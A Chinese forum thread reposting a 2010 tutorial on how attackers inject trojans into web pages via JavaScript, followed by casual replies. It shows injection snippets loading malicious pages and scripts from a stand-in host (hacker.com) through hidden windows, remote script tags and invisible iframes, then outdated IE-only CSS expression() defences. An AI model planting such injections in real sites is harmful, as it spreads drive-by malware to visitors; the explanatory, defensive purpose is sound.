搜索
有爱,有技术,有你^_^)y
╱人◕‿‿◕人╲订下契约(注册新用户)

合作站点账号登陆

QQ登录

只需一步,快速开始

快捷导航
查看: 1384|回复: 17
收起左侧

电脑连网:了解JS挂马方式

[复制链接]

签到天数: 1 天

连续签到: 1 天

[LV.1]初来乍到

396

主题

307

好友

5万

积分

第三章

听着时间涓滴败血

积分
51214
发表于 2012-6-24 18:30:26 | 显示全部楼层 |阅读模式

╱人◕‿‿◕人╲定下契约

您需要 登录 才可以下载或查看,没有账号?╱人◕‿‿◕人╲订下契约(注册新用户)

x
这篇是2010年的文章了

IFRAME挂马方式比较早,相应的预防措施也比较多,其中用CSS配合JS脚本进行预防是主流方式。可这种预防方式也存在安全隐患,JS脚本也可以被用来挂马,令人防不胜防。我们下面要介绍反击JS挂马的方法。
  
  文章要点:了解JS挂马方式
  文章难度:★★
  学习进程:√ IFRAME挂马
   √ JS挂马
   CSS挂马
   ……
  HNC网络联盟刘思杨:安全工程师,曾经负责过许多单位的网络安全
  许多人认为,只要自己的服务器安全做得足够好,建站程序补丁打得勤快,就能够抵御住所有黑客的攻击。这样做的人肯定是非常多的,可为什么还是有许多网站被黑呢?
  一个很重要的原因,就是他们过于相信从第三方网站中下载的整站程序,或者修改版的论坛程序等,而这些程序有些已经被黑客做过手脚,已经植入了后门,此时如果网站站长不熟悉如何查补漏洞,将无异于引狼入室。
  比较典型的一个例子是,曾经非常出名的《易想多用户商城 v2.1》(仿淘宝版),被许多黑客窜改过,多个关键页面被植入了后门,然后到处提供下载,导致了许多使用该程序的网站被攻击。因此在隐蔽手段挂马横行的今天,熟悉并掌握隐蔽的挂马方式,是一个安全工程师必备的技能。
JS挂马溯源
  古人云:人算不如天算,天算不如暗算(小编:哪个古人这样云过?)。当IFRAME逐渐被黑客滥用的时候,有经验的安全工程师也开始研究相应的对策,一段时间内各种阻止IFRAME挂马的方法不断涌现,其中通用性较高的就是利用CSS配合JS脚本防御IFRAME挂马。
  而黑客也发现,很多网站都会让网页调用JS脚本来实现广告等诸多特效,如果将木马挂在JS脚本中,所有调用该JS脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此JS脚本挂马逐渐开始被黑客应用。
  小百科:JS脚本是JavaScript脚本语言的简称,它是一种面向对象的脚本语言,目前广泛用于动态网页的编程。需要提示大家的是,JavaScript和Java除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的。而JavaScript与Jscript也不同,Jscript是微软为了迎战JavaScript推出的脚本语言。
  虽然JavaScript作为给非程序人员的脚本语言向大众推广,但是JavaScript是一门具有丰富特性的语言,它有着和其他编程语言一样的复杂性。实际上,你必须对JS有扎实的理解才能用它来编写比较复杂的程序,作为一名安全工程师,掌握JS脚本在工作中会有很大的帮助。
 挂马原理一点通
  JS脚本挂马对于黑客而言,可以说优点多得数不过来,首先JS脚本在挂马时可以直接将JS代码写在网页中,也可以通过注入网页,让网站远程调取异地JS脚本。此外,JS挂马插入Web页面的方法有几十种,绝对够菜鸟们眼花缭乱,无从辨别木马在何处。
  IFRAME挂马相对于安全工程师而言,如同一个穿着鲜红颜色外衣的劫匪,招摇而扎眼,很容易被发现。但是利用JS挂马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在安全工程师搜查时,很容易蒙混过关,导致木马久杀不绝。
JS挂马攻防实录
  攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行(图1),这种方法使用的关键代码如下:

  window.open("http://www.hacker.com/木.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
  这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。
  另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:
  <script src="http://www.hacker.com/木马脚本.js"></script>
  或者
  document.write("<div style='display:none'>")
  document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
  document.write("</div>")
  就成功地将木马挂到了对方的网页中了。
  小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:<div style="behaviour: url(http://www.hacker.com/木马脚本.js);">或者<if rame src="vbscript:[挂马脚本]">等。
  防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:
  iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
  script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
  不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页(图2)。

  所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。
  <title>让JS挂马中止的CSS代码</title>
  <style type="text/css" id="shudoo">
  /*<![CDATA[*/
  if rame{mdy1:expression(this.src='about:blank',this.outerHTML='');}
  script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}

  /*]]>*/

  我们虽然能够巧妙地利用CSS代码防范IFRAME和JS脚本挂马,但是为什么网页挂马还是层出不穷?这恐怕就要说一说CSS挂马了……

评分

参与人数 2宅币 +35 贡献 +3 元气(技能点) +1 收起 理由
Mr_Alex + 15 + 1 o(* ̄▽ ̄*)ブ 发糖
风音洛洛 + 20 + 2 + 1 o(* ̄▽ ̄*)ブ 发糖

查看全部评分

签名被小宅喵吞掉了~~~~(>_<)~~~~
回复

使用道具 举报

该用户从未签到

388

主题

2042

好友

10万

积分

懒人

积分
104569
发表于 2012-6-24 18:46:28 | 显示全部楼层
真的只有俩星难度么
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

336

主题

339

好友

3万

积分

第二章

积分
30449
发表于 2012-6-24 18:51:45 | 显示全部楼层
看到软软就戳进来了(* ̄▽ ̄)y  
软绵绵的野花真可口(¯﹃¯)
回复 支持 反对

使用道具 举报

签到天数: 1 天

连续签到: 1 天

[LV.1]初来乍到

396

主题

307

好友

5万

积分

第三章

听着时间涓滴败血

积分
51214
 楼主| 发表于 2012-6-24 18:55:09 | 显示全部楼层
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

签到天数: 1 天

连续签到: 1 天

[LV.1]初来乍到

396

主题

307

好友

5万

积分

第三章

听着时间涓滴败血

积分
51214
 楼主| 发表于 2012-6-24 18:55:23 | 显示全部楼层
7070370、 发表于 2012-6-24 18:51
看到软软就戳进来了(* ̄▽ ̄)y

抓住
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

336

主题

339

好友

3万

积分

第二章

积分
30449
发表于 2012-6-24 18:57:46 | 显示全部楼层

mua! (*╯3╰)    还以为很久都看不到软软了(* ̄▽ ̄)y  
软绵绵的野花真可口(¯﹃¯)
回复 支持 反对

使用道具 举报

签到天数: 1 天

连续签到: 1 天

[LV.1]初来乍到

396

主题

307

好友

5万

积分

第三章

听着时间涓滴败血

积分
51214
 楼主| 发表于 2012-6-24 18:58:46 | 显示全部楼层
7070370、 发表于 2012-6-24 18:57
mua! (*╯3╰)    还以为很久都看不到软软了(* ̄▽ ̄)y

我会苦逼的告诉你我都没有复习,课程设计也没做什么的么,啊啊啊啊,我要学习啊,怎么办!!
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

336

主题

339

好友

3万

积分

第二章

积分
30449
发表于 2012-6-24 18:59:08 | 显示全部楼层
软软的上嘴唇 发表于 2012-6-24 18:58
我会苦逼的告诉你我都没有复习,课程设计也没做什么的么,啊啊啊啊,我要学习啊,怎么办!! ...

快去学习o( ̄ヘ ̄o#)  
软绵绵的野花真可口(¯﹃¯)
回复 支持 反对

使用道具 举报

签到天数: 1 天

连续签到: 1 天

[LV.1]初来乍到

396

主题

307

好友

5万

积分

第三章

听着时间涓滴败血

积分
51214
 楼主| 发表于 2012-6-24 19:05:15 | 显示全部楼层
7070370、 发表于 2012-6-24 18:59
快去学习o( ̄ヘ ̄o#)

55,其实我就是上网找找做题的灵感
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

336

主题

339

好友

3万

积分

第二章

积分
30449
发表于 2012-6-24 19:05:50 | 显示全部楼层
软软的上嘴唇 发表于 2012-6-24 19:05
55,其实我就是上网找找做题的灵感

soga
软绵绵的野花真可口(¯﹃¯)
回复 支持 反对

使用道具 举报

该用户从未签到

81

主题

92

好友

2万

积分

第一章

去哪里找比我更懒得

积分
28955
发表于 2012-6-27 19:26:26 | 显示全部楼层
喂喂。。你的题目是怎么用CSS挂马嘛?
难不成这个帖子还有后话?
回复 支持 反对

使用道具 举报

签到天数: 1 天

连续签到: 1 天

[LV.1]初来乍到

396

主题

307

好友

5万

积分

第三章

听着时间涓滴败血

积分
51214
 楼主| 发表于 2012-6-29 22:07:11 | 显示全部楼层
风音洛洛 发表于 2012-6-27 19:26
喂喂。。你的题目是怎么用CSS挂马嘛?
难不成这个帖子还有后话?

css的在主板呢..好像把
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

81

主题

92

好友

2万

积分

第一章

去哪里找比我更懒得

积分
28955
发表于 2012-6-30 18:06:11 | 显示全部楼层
软软的上嘴唇 发表于 2012-6-29 22:07
css的在主板呢..好像把

wow ,乃竟然把CSS刻主板上了!!!,原来主板还可以这么玩!!
回复 支持 反对

使用道具 举报

签到天数: 1 天

连续签到: 1 天

[LV.1]初来乍到

396

主题

307

好友

5万

积分

第三章

听着时间涓滴败血

积分
51214
 楼主| 发表于 2012-6-30 21:33:19 | 显示全部楼层
风音洛洛 发表于 2012-6-30 18:06
wow ,乃竟然把CSS刻主板上了!!!,原来主板还可以这么玩!!

你炸毛了,抚摸
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

1

主题

11

好友

4284

积分

序章

积分
4284
发表于 2013-1-11 14:33:22 | 显示全部楼层
前端控(HENTAI?)前来学习~
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

本版积分规则

小黑屋|手机版|技术宅(Z站|基宅) ( 粤ICP备18082987号-1 )

GMT+8, 2025-5-2 00:44 , Processed in 0.118882 second(s), 29 queries , Redis On.

Copyright © 2018 技术宅社区

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表